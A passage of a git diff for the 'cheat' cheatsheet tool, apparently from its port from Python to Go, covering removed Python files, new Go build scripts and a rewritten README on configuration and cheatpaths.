diff --git a/.gitignore b/.gitignore index 8f24f8a..1521c8b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,8 +1 @@ -*.log -*.pyc -.env -.vagrant -MANIFEST -build -cheat.egg-info dist diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index 86f023e..0000000 --- a/CONTRIBUTING.md +++ /dev/null @@ -1,29 +0,0 @@ -Contributing -============ -If you would like to contribute cheetsheets or program functionality, please -fork this repository, make your changes, and submit a pull request against the -`master` branch. - - -## Python standards ## -Python code should conform to [PEP 8][]. - - -## Cheatsheet Format ## -Please pattern your cheatsheets after the following: - -```sh -# To extract an uncompressed archive: -tar -xvf /path/to/foo.tar - -# To create an uncompressed archive: -tar -cvf /path/to/foo.tar /path/to/foo/ - -# To extract a .gz archive: -tar -xzvf /path/to/foo.tgz -``` - -If you are submitting a cheatsheet that contains side-by-side columns of text, -please align the columns using spaces rather than tabs. - -[PEP 8]: http://legacy.python.org/dev/peps/pep-0008/ diff --git a/LICENSE b/LICENSE deleted file mode 100644 index c6df4b8..0000000 --- a/LICENSE +++ /dev/null @@ -1,2 +0,0 @@ -This program is dual-licensed under the MIT and GPL3 licenses. See the licenses -directory for the license text in full. diff --git a/MANIFEST.in b/MANIFEST.in deleted file mode 100644 index b3192f1..0000000 --- a/MANIFEST.in +++ /dev/null @@ -1,6 +0,0 @@ -include CHANGELOG -include CONTRIBUTING.md -include LICENSE -include README.md -include licenses/gpl-3.txt -include licenses/mit.txt diff --git a/README.md b/README.md index 7742a31..32f17c9 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,3 @@ -[![PyPI](https://img.shields.io/pypi/v/cheat.svg)](https://pypi.python.org/pypi/cheat/) - cheat ===== `cheat` allows you to create and view interactive cheatsheets on the @@ -9,6 +7,8 @@ remember. ![The obligatory xkcd](http://imgs.xkcd.com/comics/tar.png 'The obligatory xkcd') +Use `cheat` with [cheatsheets][]. + Example ------- @@ -19,7 +19,7 @@ Google, you may run: cheat tar ``` -You will be presented with a cheatsheet resembling: +You will be presented with a cheatsheet resembling the following: ```sh # To extract an uncompressed archive: @@ -38,142 +38,158 @@ tar -xjvf '/path/to/foo.tgz' tar -cjvf '/path/to/foo.tgz' '/path/to/foo/' ``` -To see what cheatsheets are available, run `cheat -l`. - -Note that, while `cheat` was designed primarily for \*nix system administrators, -it is agnostic as to what content it stores. If you would like to use `cheat` -to store notes on your favorite cookie recipes, feel free. - Installing ---------- -It is recommended to install `cheat` with `pip`: - -```sh -pip install cheat --user -``` - -(You must ensure that the `Location` identified by `pip show cheat` exists on -your `PATH`.) - -[Other installation methods are available][installing]. - - -Modifying Cheatsheets ---------------------- -The value of `cheat` is that it allows you to create your own cheatsheets - the -defaults are meant to serve only as a starting point, and can and should be -modified. - -Cheatsheets are stored in the `~/.cheat/` directory, and are named on a -per-keyphrase basis. In other words, the content for the `tar` cheatsheet lives -in the `~/.cheat/tar` file. - -Provided that you have a `CHEAT_EDITOR`, `VISUAL`, or `EDITOR` environment -variable set, you may edit cheatsheets with: - -```sh -cheat -e foo -``` - -If the `foo` cheatsheet already exists, it will be opened for editing. -Otherwise, it will be created automatically. - -After you've customized your cheatsheets, I urge you to track `~/.cheat/` along -with your [dotfiles][]. +`cheat` has no dependencies. To install it, download the executable from the +[releases][] page and place it on your `PATH`. Configuring ----------- - -### Setting a CHEAT_USER_DIR ### -Personal cheatsheets are saved in the `~/.cheat` directory by default, but you -can specify a different default by exporting a `CHEAT_USER_DIR` environment -variable: +### conf.yml ### +`cheat` is configured by a YAML file that can be generated with `cheat --init`: ```sh -export CHEAT_USER_DIR='/path/to/my/cheats' +mkdir -p ~/.config/cheat && cheat --init > ~/.config/cheat/conf.yml ``` -### Setting a CHEAT_PATH ### -You can additionally instruct `cheat` to look for cheatsheets in other -directories by exporting a `CHEAT_PATH` environment variable: +By default, the config file is assumed to exist on an XDG-compliant +configuration path like `~/.config/cheat/conf.yml`. If you would like to store +it elsewhere, you may export a `CHEAT_CONFIG_PATH` environment variable that +specifies its path: ```sh -export CHEAT_PATH='/path/to/my/cheats' +export CHEAT_CONFIG_PATH="~/.dotfiles/cheat/conf.yml" ``` -You may, of course, append multiple directories to your `CHEAT_PATH`: +Cheatsheets +----------- +Cheatsheets are plain-text files with no file extension, and are named +according to the command used to view them: ```sh -export CHEAT_PATH="$CHEAT_PATH:/path/to/more/cheats" +cheat tar # file is named "tar" +cheat foo/bar # file is named "bar", in a "foo" subdirectory ``` -You may view which directories are on your `CHEAT_PATH` with `cheat -d`. +Cheatsheet text may optionally be preceeded by a YAML frontmatter header that +assigns tags and specifies syntax: -### Enabling Syntax Highlighting ### -`cheat` can optionally apply syntax highlighting to your cheatsheets. To -enable syntax highlighting, export a `CHEAT_COLORS` environment variable: +``` +--- +syntax: javascript +tags: [ array, map ] +--- +// To map over an array: +const squares = [1, 2, 3, 4].map(x => x * x); +``` + +The `cheat` executable includes no cheatsheets, but [community-sourced +cheatsheets are available][cheatsheets]. + + +Cheatpaths +---------- +Cheatsheets are stored on "cheatpaths", which are directories that contain +cheetsheets. Cheatpaths are specified in the `conf.yml` file. + +It can be useful to configure `cheat` against multiple cheatpaths. A common +pattern is to store cheatsheets from multiple repositories on individual +cheatpaths: + +```yaml +# conf.yml: +# ... +cheatpaths: + - name: community # a name for the cheatpath + path: ~/documents/cheat/community # the path's location on the filesystem + tags: [ community ] # these tags will be applied to all sheets on the path + readonly: true # if true, `cheat` will not create new cheatsheets here + + - name: personal + path: ~/documents/cheat/personal # this is a separate directory and repository than above + tags: [ personal ] + readonly: false # new sheets may be written here +# ... +``` + +The `readonly` option instructs `cheat` not to edit (or create) any cheatsheets +on the path. This is useful to prevent merge-conflicts from arising on upstream +cheatsheet repositories. + +If a user attempts to edit a cheatsheet on a read-only cheatpath, `cheat` will +transparently copy that sheet to a writeable directory before opening it for +editing. + + +Usage +----- +To view a cheatsheet: ```sh -export CHEAT_COLORS=true +cheat tar # a "top-level" cheatsheet +cheat foo/bar # a "nested" cheatsheet ``` -Note that [pygments][] must be installed on your system for this to work. - -`cheat` ships with both light and dark colorschemes to support terminals with -different background colors. A colorscheme may be selected via the -`CHEAT_COLORSCHEME` envvar: +To edit a cheatsheet: ```sh -export CHEAT_COLORSCHEME=light # must be 'light' (default) or 'dark' +cheat -e tar # opens the "tar" cheatsheet for editing, or creates it if it does not exist +cheat -e foo/bar # nested cheatsheets are accessed like this ``` -#### Specifying a Syntax Highlighter #### -You may manually specify which syntax highlighter to use for each cheatsheet by -wrapping the sheet's contents in a [Github-Flavored Markdown code-fence][gfm]. +To view the configured cheatpaths: -Example: - -
-```sql
--- to select a user by ID
-SELECT *
-FROM Users
-WHERE id = 100
+```sh
+cheat -d
 ```
-
-If no syntax highlighter is specified, the `bash` highlighter will be used by -default. +To list all available cheatsheets: -### Enabling Search Match Highlighting ### -`cheat` can optionally be configured to highlight search term matches in search -results. To do so, export a `CHEAT_HIGHLIGHT` environment variable with a value -of one of the following: +```sh +cheat -l +``` -- blue -- cyan -- green -- grey -- magenta -- red -- white -- yellow +To list all cheatsheets that are tagged with "networking": -Note that the `termcolor` module must be installed on your system for this to -work. +```sh +cheat -l -t networking +``` + +To list all cheatsheets on the "personal" path: + +```sh +cheat -l -p personal +``` + +To search for the phrase "ssh" among cheatsheets: + +```sh +cheat -s ssh +``` + +To search (by regex) for cheatsheets that contain an IP address: + +```sh +cheat -r -s '(?:[0-9]{1,3}\.){3}[0-9]{1,3}' +``` + +Flags may be combined in inuitive ways. Example: to search sheets on the +"personal" cheatpath that are tagged with "networking" and match a regex: + +```sh +cheat -p personal -t networking -s --regex '(?:[0-9]{1,3}\.){3}[0-9]{1,3}' +``` -See Also: ---------- -- [Enabling Command-line Autocompletion][autocompletion] -- [Related Projects][related-projects] +Advanced Usage +-------------- +`cheat` may be integrated with [fzf][]. See [fzf.bash][bash] for instructions. +(Support for other shells will be added in future releases.) -[autocompletion]: https://github.com/cheat/cheat/wiki/Enabling-Command-line-Autocompletion -[dotfiles]: http://dotfiles.github.io/ -[gfm]: https://help.github.com/articles/creating-and-highlighting-code-blocks/ -[installing]: https://github.com/cheat/cheat/wiki/Installing -[pygments]: http://pygments.org/ -[related-projects]: https://github.com/cheat/cheat/wiki/Related-Projects +[Releases]: https://github.com/cheat/cheat/releases +[bash]: https://github.com/cheat/cheat/blob/master/scripts/fzf.bash +[cheatsheets]: https://github.com/cheat/cheatsheets +[fzf]: https://github.com/junegunn/fzf diff --git a/Vagrantfile b/Vagrantfile deleted file mode 100644 index 51fcf46..0000000 --- a/Vagrantfile +++ /dev/null @@ -1,20 +0,0 @@ -# -*- mode: ruby -*- -# vi: set ft=ruby : - -Vagrant.configure("2") do |config| - config.vm.box = "ubuntu/bionic64" - - config.vm.provider "virtualbox" do |vb| - vb.memory = "512" - end - - config.vm.provision "shell", privileged: false, inline: <<-SHELL - sudo apt-get update - sudo apt-get install -y python-pip - sudo -H pip install flake8 - pip install --user docopt pygments termcolor - cd /vagrant/ && python setup.py install --user - echo 'export PATH=$PATH:/home/vagrant/.local/bin' >> /home/vagrant/.bashrc - SHELL - -end diff --git a/bin/build_devel.sh b/bin/build_devel.sh new file mode 100755 index 0000000..7a7475c --- /dev/null +++ b/bin/build_devel.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +# locate the lambo project root +BINDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" +APPDIR=$(readlink -f "$BINDIR/..") + +# compile the executable +cd "$APPDIR/cmd/cheat" +go clean && go generate && go build +mv "$APPDIR/cmd/cheat/cheat" "$APPDIR/dist/cheat" + +# display a build checksum +md5sum "$APPDIR/dist/cheat" diff --git a/bin/build_release.sh b/bin/build_release.sh new file mode 100755 index 0000000..6b10bc0 --- /dev/null +++ b/bin/build_release.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +# locate the lambo project root +BINDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" +APPDIR=$(readlink -f "$BINDIR/..") + +# build embeds +cd "$APPDIR/cmd/cheat" +go clean && go generate + +# compile AMD64 for Linux, OSX, and Windows +env GOOS=darwin GOARCH=amd64 go build -o "$APPDIR/dist/cheat-darwin-amd64" "$APPDIR/cmd/cheat" +env GOOS=linux GOARCH=amd64 go build -o "$APPDIR/dist/cheat-linux-amd64" "$APPDIR/cmd/cheat" +env GOOS=windows GOARCH=amd64 go build -o "$APPDIR/dist/cheat-win-amd64.exe" "$APPDIR/cmd/cheat" diff --git a/bin/cheat b/bin/cheat deleted file mode 100755 index e021b9a..0000000 --- a/bin/cheat +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env python - -"""cheat - -Create and view cheatsheets on the command line. - -Usage: - cheat - cheat -e - cheat -s - cheat -l - cheat -d - cheat -v - -Options: - -d --directories List directories on $CHEAT_PATH - -e --edit Edit cheatsheet - -l --list List cheatsheets - -s --search Search cheatsheets for - -v --version Print the version number - -Examples: - - To view the `tar` cheatsheet: - cheat tar - - To edit (or create) the `foo` cheatsheet: - cheat -e foo - - To list all available cheatsheets: - cheat -l - - To search for "ssh" among all cheatsheets: - cheat -s ssh -""" - -# require the dependencies -from __future__ import print_function -from cheat.colorize import Colorize -from cheat.configuration import Configuration -from cheat.sheet import Sheet -from cheat.sheets import Sheets -from cheat.utils import Utils -from docopt import docopt -import os - -if __name__ == '__main__': - - # parse the command-line options - options = docopt(__doc__, version='cheat 2.5.1') - - # initialize and validate configs - config = Configuration() - config.validate() - - # create the CHEAT_USER_DIR if it does not exist - if not os.path.isdir(config.cheat_user_dir): - try: - os.mkdir(config.cheat_user_dir) - - except OSError: - Utils.die("%s %s %s" % ( - 'Could not create CHEAT_USER_DIR (', - config.cheat_user_dir, - ')') - ) - - # assert that the CHEAT_USER_DIR is readable and writable - if not os.access(config.cheat_user_dir, os.R_OK): - Utils.die("%s %s %s" % ( - 'The CHEAT_USER_DIR (', - config.cheat_user_dir, - ') is not readable') - ) - if not os.access(config.cheat_user_dir, os.W_OK): - Utils.die("%s %s %s" % ( - 'The CHEAT_USER_DIR (', - config.cheat_user_dir, - ') is not writeable') - ) - - # bootsrap - sheets = Sheets(config) - sheet = Sheet(config, sheets) - colorize = Colorize(config) - - # list directories - if options['--directories']: - print("\n".join(sheets.directories())) - - # list cheatsheets - elif options['--list']: - print(sheets.list(), end="") - - # create/edit cheatsheet - elif options['--edit']: - sheet.edit(options['']) - - # search among the cheatsheets - elif options['--search']: - print(colorize.syntax(sheets.search(options[''])), end="") - - # print the cheatsheet - else: - print(colorize.syntax(sheet.read(options[''])), end="") diff --git a/bin/cheat.bat b/bin/cheat.bat deleted file mode 100644 index 3f66754..0000000 --- a/bin/cheat.bat +++ /dev/null @@ -1,8 +0,0 @@ -@echo OFF - -if not defined CHEAT_EDITOR if not defined EDITOR if not defined VISUAL ( - set CHEAT_EDITOR=write -) - -REM %~dp0 is black magic for getting directory of script -python %~dp0cheat %* diff --git a/bin/deps.sh b/bin/deps.sh new file mode 100755 index 0000000..d45befb --- /dev/null +++ b/bin/deps.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +# This script installs all Go dependencies required for +# building `cheat` locally. + +go get -u github.com/alecthomas/chroma +go get -u github.com/davecgh/go-spew/spew +go get -u github.com/docopt/docopt-go +go get -u github.com/mgutz/ansi +go get -u github.com/mitchellh/go-homedir +go get -u github.com/tj/front diff --git a/build/embed.go b/build/embed.go new file mode 100644 index 0000000..1536769 --- /dev/null +++ b/build/embed.go @@ -0,0 +1,93 @@ +// +build ignore + +// This script embeds `docopt.txt and `conf.yml` into the binary during at +// build time. + +package main + + +import ( + "fmt" + "io/ioutil" + "log" + "os" + "path" + "path/filepath" +) + +func main() { + + // get the cwd + cwd, err := os.Getwd() + if err != nil { + log.Fatal(err) + } + + // get the project root + root, err := filepath.Abs(cwd + "../../../") + if err != nil { + log.Fatal(err) + } + + // specify template file information + type file struct { + In string + Out string + Method string + } + + // enumerate the template files to process + files := []file{ + file{ + In: "cmd/cheat/docopt.txt", + Out: "cmd/cheat/str_usage.go", + Method: "usage"}, + file{ + In: "configs/conf.yml", + Out: "cmd/cheat/str_config.go", + Method: "configs"}, + } + + // iterate over each static file + for _, file := range files { + + // delete the outfile + os.Remove(path.Join(root, file.Out)) + + // read the static template + bytes, err := ioutil.ReadFile(path.Join(root, file.In)) + if err != nil { + log.Fatal(err) + } + + // render the template + data := template(file.Method, string(bytes)) + + // write the file to the specified outpath + spath := path.Join(root, file.Out) + err = ioutil.WriteFile(spath, []byte(data), 0644) + if err != nil { + log.Fatal(err) + } + } +} + +// template packages the +func template(method string, body string) string { + + // specify the template string + t := `package main + +// Code generated .* DO NOT EDIT. + +import ( + "strings" +) + +func %s() string { + return strings.TrimSpace(%s) +} +` + + return fmt.Sprintf(t, method, "`"+body+"`") +} diff --git a/cheat/__init__.py b/cheat/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/cheat/appdirs.py b/cheat/appdirs.py deleted file mode 100644 index b1d43d5..0000000 --- a/cheat/appdirs.py +++ /dev/null @@ -1,618 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -# Copyright (c) 2005-2010 ActiveState Software Inc. -# Copyright (c) 2013 Eddy Petrișor - -"""Utilities for determining application-specific dirs. - -See for details and usage. -""" -# Dev Notes: -# - MSDN on where to store app data files: -# http://support.microsoft.com/default.aspx?scid=kb;en-us;310294#XSLTH3194121123120121120120 -# - Mac OS X: http://developer.apple.com/documentation/MacOSX/Conceptual/BPFileSystem/index.html -# - XDG spec for Un*x: https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html - -__version__ = "1.4.4" -__version_info__ = tuple(int(segment) for segment in __version__.split(".")) - - -import sys -import os - -PY3 = sys.version_info[0] == 3 - -if PY3: - unicode = str - -if sys.platform.startswith('java'): - import platform - os_name = platform.java_ver()[3][0] - if os_name.startswith('Windows'): # "Windows XP", "Windows 7", etc. - system = 'win32' - elif os_name.startswith('Mac'): # "Mac OS X", etc. - system = 'darwin' - else: # "Linux", "SunOS", "FreeBSD", etc. - # Setting this to "linux2" is not ideal, but only Windows or Mac - # are actually checked for and the rest of the module expects - # *sys.platform* style strings. - system = 'linux2' -else: - system = sys.platform - - - -def user_data_dir(appname=None, appauthor=None, version=None, roaming=False): - r"""Return full path to the user-specific data dir for this application. - - "appname" is the name of application. - If None, just the system directory is returned. - "appauthor" (only used on Windows) is the name of the - appauthor or distributing body for this application. Typically - it is the owning company name. This falls back to appname. You may - pass False to disable it. - "version" is an optional version path element to append to the - path. You might want to use this if you want multiple versions - of your app to be able to run independently. If used, this - would typically be ".". - Only applied when appname is present. - "roaming" (boolean, default False) can be set True to use the Windows - roaming appdata directory. That means that for users on a Windows - network setup for roaming profiles, this user data will be - sync'd on login. See - - for a discussion of issues. - - Typical user data directories are: - Mac OS X: ~/Library/Application Support/ - Unix: ~/.local/share/ # or in $XDG_DATA_HOME, if defined - Win XP (not roaming): C:\Documents and Settings\\Application Data\\ - Win XP (roaming): C:\Documents and Settings\\Local Settings\Application Data\\ - Win 7 (not roaming): C:\Users\\AppData\Local\\ - Win 7 (roaming): C:\Users\\AppData\Roaming\\ - - For Unix, we follow the XDG spec and support $XDG_DATA_HOME. - That means, by default "~/.local/share/". - """ - if system == "win32": - if appauthor is None: - appauthor = appname - const = roaming and "CSIDL_APPDATA" or "CSIDL_LOCAL_APPDATA" - path = os.path.normpath(_get_win_folder(const)) - if appname: - if appauthor is not False: - path = os.path.join(path, appauthor, appname) - else: - path = os.path.join(path, appname) - elif system == 'darwin': - path = os.path.expanduser('~/Library/Application Support/') - if appname: - path = os.path.join(path, appname) - else: - path = os.getenv('XDG_DATA_HOME', os.path.expanduser("~/.local/share")) - if appname: - path = os.path.join(path, appname) - if appname and version: - path = os.path.join(path, version) - return path - - -def site_data_dir(appname=None, appauthor=None, version=None, multipath=False): - r"""Return full path to the user-shared data dir for this application. - - "appname" is the name of application. - If None, just the system directory is returned. - "appauthor" (only used on Windows) is the name of the - appauthor or distributing body for this application. Typically - it is the owning company name. This falls back to appname. You may - pass False to disable it. - "version" is an optional version path element to append to the - path. You might want to use this if you want multiple versions - of your app to be able to run independently. If used, this - would typically be ".". - Only applied when appname is present. - "multipath" is an optional parameter only applicable to *nix - which indicates that the entire list of data dirs should be - returned. By default, the first item from XDG_DATA_DIRS is - returned, or '/usr/local/share/', - if XDG_DATA_DIRS is not set - - Typical site data directories are: - Mac OS X: /Library/Application Support/ - Unix: /usr/local/share/ or /usr/share/ - Win XP: C:\Documents and Settings\All Users\Application Data\\ - Vista: (Fail! "C:\ProgramData" is a hidden *system* directory on Vista.) - Win 7: C:\ProgramData\\ # Hidden, but writeable on Win 7. - - For Unix, this is using the $XDG_DATA_DIRS[0] default. - - WARNING: Do not use this on Windows. See the Vista-Fail note above for why. - """ - if system == "win32": - if appauthor is None: - appauthor = appname - path = os.path.normpath(_get_win_folder("CSIDL_COMMON_APPDATA")) - if appname: - if appauthor is not False: - path = os.path.join(path, appauthor, appname) - else: - path = os.path.join(path, appname) - elif system == 'darwin': - path = os.path.expanduser('/Library/Application Support') - if appname: - path = os.path.join(path, appname) - else: - # XDG default for $XDG_DATA_DIRS - # only first, if multipath is False - path = os.getenv('XDG_DATA_DIRS', - os.pathsep.join(['/usr/local/share', '/usr/share'])) - pathlist = [os.path.expanduser(x.rstrip(os.sep)) for x in path.split(os.pathsep)] - if appname: - if version: - appname = os.path.join(appname, version) - pathlist = [os.sep.join([x, appname]) for x in pathlist] - - if multipath: - path = os.pathsep.join(pathlist) - else: - path = pathlist[0] - return path - - if appname and version: - path = os.path.join(path, version) - return path - - -def user_config_dir(appname=None, appauthor=None, version=None, roaming=False): - r"""Return full path to the user-specific config dir for this application. - - "appname" is the name of application. - If None, just the system directory is returned. - "appauthor" (only used on Windows) is the name of the - appauthor or distributing body for this application. Typically - it is the owning company name. This falls back to appname. You may - pass False to disable it. - "version" is an optional version path element to append to the - path. You might want to use this if you want multiple versions - of your app to be able to run independently. If used, this - would typically be ".". - Only applied when appname is present. - "roaming" (boolean, default False) can be set True to use the Windows - roaming appdata directory. That means that for users on a Windows - network setup for roaming profiles, this user data will be - sync'd on login. See - - for a discussion of issues. - - Typical user config directories are: - Mac OS X: ~/Library/Preferences/ - Unix: ~/.config/ # or in $XDG_CONFIG_HOME, if defined - Win *: same as user_data_dir - - For Unix, we follow the XDG spec and support $XDG_CONFIG_HOME. - That means, by default "~/.config/". - """ - if system == "win32": - path = user_data_dir(appname, appauthor, None, roaming) - elif system == 'darwin': - path = os.path.expanduser('~/Library/Preferences/') - if appname: - path = os.path.join(path, appname) - else: - path = os.getenv('XDG_CONFIG_HOME', os.path.expanduser("~/.config")) - if appname: - path = os.path.join(path, appname) - if appname and version: - path = os.path.join(path, version) - return path - - -def site_config_dir(appname=None, appauthor=None, version=None, multipath=False): - r"""Return full path to the user-shared data dir for this application. - - "appname" is the name of application. - If None, just the system directory is returned. - "appauthor" (only used on Windows) is the name of the - appauthor or distributing body for this application. Typically - it is the owning company name. This falls back to appname. You may - pass False to disable it. - "version" is an optional version path element to append to the - path. You might want to use this if you want multiple versions - of your app to be able to run independently. If used, this - would typically be ".". - Only applied when appname is present. - "multipath" is an optional parameter only applicable to *nix - which indicates that the entire list of config dirs should be - returned. By default, the first item from XDG_CONFIG_DIRS is - returned, or '/etc/xdg/', if XDG_CONFIG_DIRS is not set - - Typical site config directories are: - Mac OS X: same as site_data_dir - Unix: /etc/xdg/ or $XDG_CONFIG_DIRS[i]/ for each value in - $XDG_CONFIG_DIRS - Win *: same as site_data_dir - Vista: (Fail! "C:\ProgramData" is a hidden *system* directory on Vista.) - - For Unix, this is using the $XDG_CONFIG_DIRS[0] default, if multipath=False - - WARNING: Do not use this on Windows. See the Vista-Fail note above for why. - """ - if system == 'win32': - path = site_data_dir(appname, appauthor) - if appname and version: - path = os.path.join(path, version) - elif system == 'darwin': - path = os.path.expanduser('/Library/Preferences') - if appname: - path = os.path.join(path, appname) - elif system == 'linux': - path = os.path.join('/etc/', appname) - else: - # XDG default for $XDG_CONFIG_DIRS - # only first, if multipath is False - path = os.getenv('XDG_CONFIG_DIRS', '/etc/xdg') - pathlist = [os.path.expanduser(x.rstrip(os.sep)) for x in path.split(os.pathsep)] - if appname: - if version: - appname = os.path.join(appname, version) - pathlist = [os.sep.join([x, appname]) for x in pathlist] - - if multipath: - path = os.pathsep.join(pathlist) - else: - path = pathlist[0] - return path - - -def user_cache_dir(appname=None, appauthor=None, version=None, opinion=True): - r"""Return full path to the user-specific cache dir for this application. - - "appname" is the name of application. - If None, just the system directory is returned. - "appauthor" (only used on Windows) is the name of the - appauthor or distributing body for this application. Typically - it is the owning company name. This falls back to appname. You may - pass False to disable it. - "version" is an optional version path element to append to the - path. You might want to use this if you want multiple versions - of your app to be able to run independently. If used, this - would typically be ".". - Only applied when appname is present. - "opinion" (boolean) can be False to disable the appending of - "Cache" to the base app data dir for Windows. See - discussion below. - - Typical user cache directories are: - Mac OS X: ~/Library/Caches/ - Unix: ~/.cache/ (XDG default) - Win XP: C:\Documents and Settings\\Local Settings\Application Data\\\Cache - Vista: C:\Users\\AppData\Local\\\Cache - - On Windows the only suggestion in the MSDN docs is that local settings go in - the `CSIDL_LOCAL_APPDATA` directory. This is identical to the non-roaming - app data dir (the default returned by `user_data_dir` above). Apps typically - put cache data somewhere *under* the given dir here. Some examples: - ...\Mozilla\Firefox\Profiles\\Cache - ...\Acme\SuperApp\Cache\1.0 - OPINION: This function appends "Cache" to the `CSIDL_LOCAL_APPDATA` value. - This can be disabled with the `opinion=False` option. - """ - if system == "win32": - if appauthor is None: - appauthor = appname - path = os.path.normpath(_get_win_folder("CSIDL_LOCAL_APPDATA")) - if appname: - if appauthor is not False: - path = os.path.join(path, appauthor, appname) - else: - path = os.path.join(path, appname) - if opinion: - path = os.path.join(path, "Cache") - elif system == 'darwin': - path = os.path.expanduser('~/Library/Caches') - if appname: - path = os.path.join(path, appname) - else: - path = os.getenv('XDG_CACHE_HOME', os.path.expanduser('~/.cache')) - if appname: - path = os.path.join(path, appname) - if appname and version: - path = os.path.join(path, version) - return path - - -def user_state_dir(appname=None, appauthor=None, version=None, roaming=False): - r"""Return full path to the user-specific state dir for this application. - - "appname" is the name of application. - If None, just the system directory is returned. - "appauthor" (only used on Windows) is the name of the - appauthor or distributing body for this application. Typically - it is the owning company name. This falls back to appname. You may - pass False to disable it. - "version" is an optional version path element to append to the - path. You might want to use this if you want multiple versions - of your app to be able to run independently. If used, this - would typically be ".". - Only applied when appname is present. - "roaming" (boolean, default False) can be set True to use the Windows - roaming appdata directory. That means that for users on a Windows - network setup for roaming profiles, this user data will be - sync'd on login. See - - for a discussion of issues. - - Typical user state directories are: - Mac OS X: same as user_data_dir - Unix: ~/.local/state/ # or in $XDG_STATE_HOME, if defined - Win *: same as user_data_dir - - For Unix, we follow this Debian proposal - to extend the XDG spec and support $XDG_STATE_HOME. - - That means, by default "~/.local/state/". - """ - if system in ["win32", "darwin"]: - path = user_data_dir(appname, appauthor, None, roaming) - else: - path = os.getenv('XDG_STATE_HOME', os.path.expanduser("~/.local/state")) - if appname: - path = os.path.join(path, appname) - if appname and version: - path = os.path.join(path, version) - return path - - -def user_log_dir(appname=None, appauthor=None, version=None, opinion=True): - r"""Return full path to the user-specific log dir for this application. - - "appname" is the name of application. - If None, just the system directory is returned. - "appauthor" (only used on Windows) is the name of the - appauthor or distributing body for this application. Typically - it is the owning company name. This falls back to appname. You may - pass False to disable it. - "version" is an optional version path element to append to the - path. You might want to use this if you want multiple versions - of your app to be able to run independently. If used, this - would typically be ".". - Only applied when appname is present. - "opinion" (boolean) can be False to disable the appending of - "Logs" to the base app data dir for Windows, and "log" to the - base cache dir for Unix. See discussion below. - - Typical user log directories are: - Mac OS X: ~/Library/Logs/ - Unix: ~/.cache//log # or under $XDG_CACHE_HOME if defined - Win XP: C:\Documents and Settings\\Local Settings\Application Data\\\Logs - Vista: C:\Users\\AppData\Local\\\Logs - - On Windows the only suggestion in the MSDN docs is that local settings - go in the `CSIDL_LOCAL_APPDATA` directory. (Note: I'm interested in - examples of what some windows apps use for a logs dir.) - - OPINION: This function appends "Logs" to the `CSIDL_LOCAL_APPDATA` - value for Windows and appends "log" to the user cache dir for Unix. - This can be disabled with the `opinion=False` option. - """ - if system == "darwin": - path = os.path.join( - os.path.expanduser('~/Library/Logs'), - appname) - elif system == "win32": - path = user_data_dir(appname, appauthor, version) - version = False - if opinion: - path = os.path.join(path, "Logs") - else: - path = user_cache_dir(appname, appauthor, version) - version = False - if opinion: - path = os.path.join(path, "log") - if appname and version: - path = os.path.join(path, version) - return path - - -class AppDirs(object): - """Convenience wrapper for getting application dirs.""" - def __init__(self, appname=None, appauthor=None, version=None, - roaming=False, multipath=False): - self.appname = appname - self.appauthor = appauthor - self.version = version - self.roaming = roaming - self.multipath = multipath - - @property - def user_data_dir(self): - return user_data_dir(self.appname, self.appauthor, - version=self.version, roaming=self.roaming) - - @property - def site_data_dir(self): - return site_data_dir(self.appname, self.appauthor, - version=self.version, multipath=self.multipath) - - @property - def user_config_dir(self): - return user_config_dir(self.appname, self.appauthor, - version=self.version, roaming=self.roaming) - - @property - def site_config_dir(self): - return site_config_dir(self.appname, self.appauthor, - version=self.version, multipath=self.multipath) - - @property - def user_cache_dir(self): - return user_cache_dir(self.appname, self.appauthor, - version=self.version) - - @property - def user_state_dir(self): - return user_state_dir(self.appname, self.appauthor, - version=self.version) - - @property - def user_log_dir(self): - return user_log_dir(self.appname, self.appauthor, - version=self.version) - - -#---- internal support stuff - -def _get_win_folder_from_registry(csidl_name): - """This is a fallback technique at best. I'm not sure if using the - registry for this guarantees us the correct answer for all CSIDL_* - names. - """ - if PY3: - import winreg as _winreg - else: - import _winreg - - shell_folder_name = { - "CSIDL_APPDATA": "AppData", - "CSIDL_COMMON_APPDATA": "Common AppData", - "CSIDL_LOCAL_APPDATA": "Local AppData", - }[csidl_name] - - key = _winreg.OpenKey( - _winreg.HKEY_CURRENT_USER, - r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" - ) - dir, type = _winreg.QueryValueEx(key, shell_folder_name) - return dir - - -def _get_win_folder_with_pywin32(csidl_name): - from win32com.shell import shellcon, shell - dir = shell.SHGetFolderPath(0, getattr(shellcon, csidl_name), 0, 0) - # Try to make this a unicode path because SHGetFolderPath does - # not return unicode strings when there is unicode data in the - # path. - try: - dir = unicode(dir) - - # Downgrade to short path name if have highbit chars. See - # . - has_high_char = False - for c in dir: - if ord(c) > 255: - has_high_char = True - break - if has_high_char: - try: - import win32api - dir = win32api.GetShortPathName(dir) - except ImportError: - pass - except UnicodeError: - pass - return dir - - -def _get_win_folder_with_ctypes(csidl_name): - import ctypes - - csidl_const = { - "CSIDL_APPDATA": 26, - "CSIDL_COMMON_APPDATA": 35, - "CSIDL_LOCAL_APPDATA": 28, - }[csidl_name] - - buf = ctypes.create_unicode_buffer(1024) - ctypes.windll.shell32.SHGetFolderPathW(None, csidl_const, None, 0, buf) - - # Downgrade to short path name if have highbit chars. See - # . - has_high_char = False - for c in buf: - if ord(c) > 255: - has_high_char = True - break - if has_high_char: - buf2 = ctypes.create_unicode_buffer(1024) - if ctypes.windll.kernel32.GetShortPathNameW(buf.value, buf2, 1024): - buf = buf2 - - return buf.value - -def _get_win_folder_with_jna(csidl_name): - import array - from com.sun import jna - from com.sun.jna.platform import win32 - - buf_size = win32.WinDef.MAX_PATH * 2 - buf = array.zeros('c', buf_size) - shell = win32.Shell32.INSTANCE - shell.SHGetFolderPath(None, getattr(win32.ShlObj, csidl_name), None, win32.ShlObj.SHGFP_TYPE_CURRENT, 